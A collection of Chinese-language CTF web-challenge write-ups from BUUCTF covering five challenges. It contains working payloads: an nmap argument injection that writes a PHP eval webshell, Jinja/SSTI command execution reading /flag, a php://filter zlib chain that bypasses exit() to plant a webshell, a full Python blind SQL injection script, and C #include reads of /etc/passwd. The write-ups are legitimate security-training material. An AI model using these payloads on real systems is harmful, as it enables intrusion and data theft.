[BUUCTF 2018]Online Tool 1
源码如下
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
一.
$_SERVER["REMOTE_ADDR"]获取客户端的 IP地址;
$_SERVER['HTTP_X_FORWARDED_FOR']是透过代理服务器获取客户端真实IP地址;
若未设置GET传入参数host的值,将显示源码;
变量$host经过escapeshellar()与escapeshellcmd()方法防止注入参数
二.
代码整体功能:
1,首先判断客户端提供给服务器和服务器自动获取的ip是否一致。
2,判断get host参数时候传值,没有传值高亮当前代码。
3,传值,host传递参数经过escapeshellarg,escapeshellcmd函数的限制。
4,以’glzjin’+ip通过md5加密形成值,并作为文件名创建文件,当前文件地址更改为创建的文件
5,输出 system执行结果。
三.
函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
四.
利用nmap写入文件 写入一句话。
构造' <?= @eval($_POST["hack"]);?> -oG hack.php '
后访问得到的d1e0978564e0f852d007e7261b37f3b8下的shell.php post:1=system('cat /flag');
得到flag
[BJDCTF2020]The mystery of ip 1
一.浏览网页,发现flag里面有ip 和题目ip的秘密对应
二.想到X-Forwarded-For
或者client-ip,打开bp试一下,发现通过X-Forwarded-For可以改变页面的ip显示
三.利用
SSTI模板注入
{{}}
在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}
包裹的内容当做变量解析替换。比如{{1+1}}
会被解析成2
。如此一来就可以实现如同sql注入一样的注入漏洞。
所以直接来{system('ls')}
可用
之后上{system('cat /flag')} 没有过滤,直接得到flag
flag{cbba49b5-83b3-40c8-ba00-a995d7a96318}
[WMCTF2020]Web Check in 2.0
打开后出现源码
string(62) "Sandbox:/var/www/html/sandbox/f9e1016a5cec370aae6a18d438dabfa5" <?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);
}
看到file_put_contents函数,我们很容易想到利用此函数写入shell,但这里的死亡<?php exit();让我们十分难的写入webshell,但我们利用好php://filter是可以绕过此限制的
这里的过滤器过滤了‘/iconv|UCS|UTF|rot|quoted|base64/’,但预留了zlib、bzip2、string等过滤器, php:filter ⽀持使⽤多个过滤器,所以可以利⽤ zlib 的 zlib.deflate 和 zlib.inflate 来做,中间插⼊string.tolower转后会把空格和exit处理了就可以绕过<?php exit();而php标签内的'%0d',是因为php标签是独立的,需要与php代码分割开而%0d是换行的url编码,可以用来分割
payload:?content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?%3E%3C?php%0Deval($_POST[pass]);?%3E/resource=shell.php
再通过蚁剑连接后,得到flag
[网鼎杯2018]Unfinish
1
1判断,应当是个sql注入,盲猜一下注册页面存在register.php, 果然有,而且可以注册,应是二次注入,尝试一下。发现输入,information,会出现nonono!!!,输入%23,#,--等出现页面没自动跳转到login.php,也就是注册没成功。没有information意味着不能显示出表...,真的不会,看了下WP,使用了'0'+ascii输出显示,并且盲猜了flag表。
2.自己试试,可以
编写脚本
import requests
import re
from time import sleep
from bs4 import BeautifulSoup
def flag():
flag = ''
url = 'http://2e0a2363-377a-46a6-9183-370acb55ef7c.node4.buuoj.cn:81/'
url1 = url + 'register.php'
url2 = url + 'login.php'
for i in range(1, 100):
sleep(0.5)
data1 = {"email": f"aiwin{i}@163.com",
"username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;", "password": "1"}
data2 = {"email": f"aiwin{i}@163.com", "password": "1"}
response_regiseter = requests.post(url1, data=data1)
response_login = requests.post(url2, data=data2)
bs = BeautifulSoup(response_login.text, 'html.parser') # bs4解析页面
username = bs.find('span', class_='user-name') # 取返回页面数据的span class=user-name属性
number = username.text # 取该属性的数字
flag += chr(int(number))
print(flag)
if __name__ == '__main__':
flag()
运算得到flag
[FireshellCTF2020]Caas
1
进入可以看到是一个编译器
1.可以输入文本
以为ssti模板,但是{{8*8}}报错,输出 print什么的也不能用
无奈,看看报错信息
2.下载/tmp目录下的,class_7eamm1tu3.c文件
思路到这里就断了,其实可以猜到flag在服务器的某个文件下,也许就是/flag,但是不知道怎么读取,难道是一个c语言漏洞么,感觉给出的文件又看不懂
看了别人的考的是c语言的预处理
3.利用include预处理将我们所需的文件包含进来
试试 #include "/etc/passwd"
报错信息提示我们用<>或者双引号包含文件名
#include </proc/self/cmdline> 看一下执行什么命令 没什么用
直接/flag ,发现尖括号报错信息没出来,但是双引号可以 从而得到flag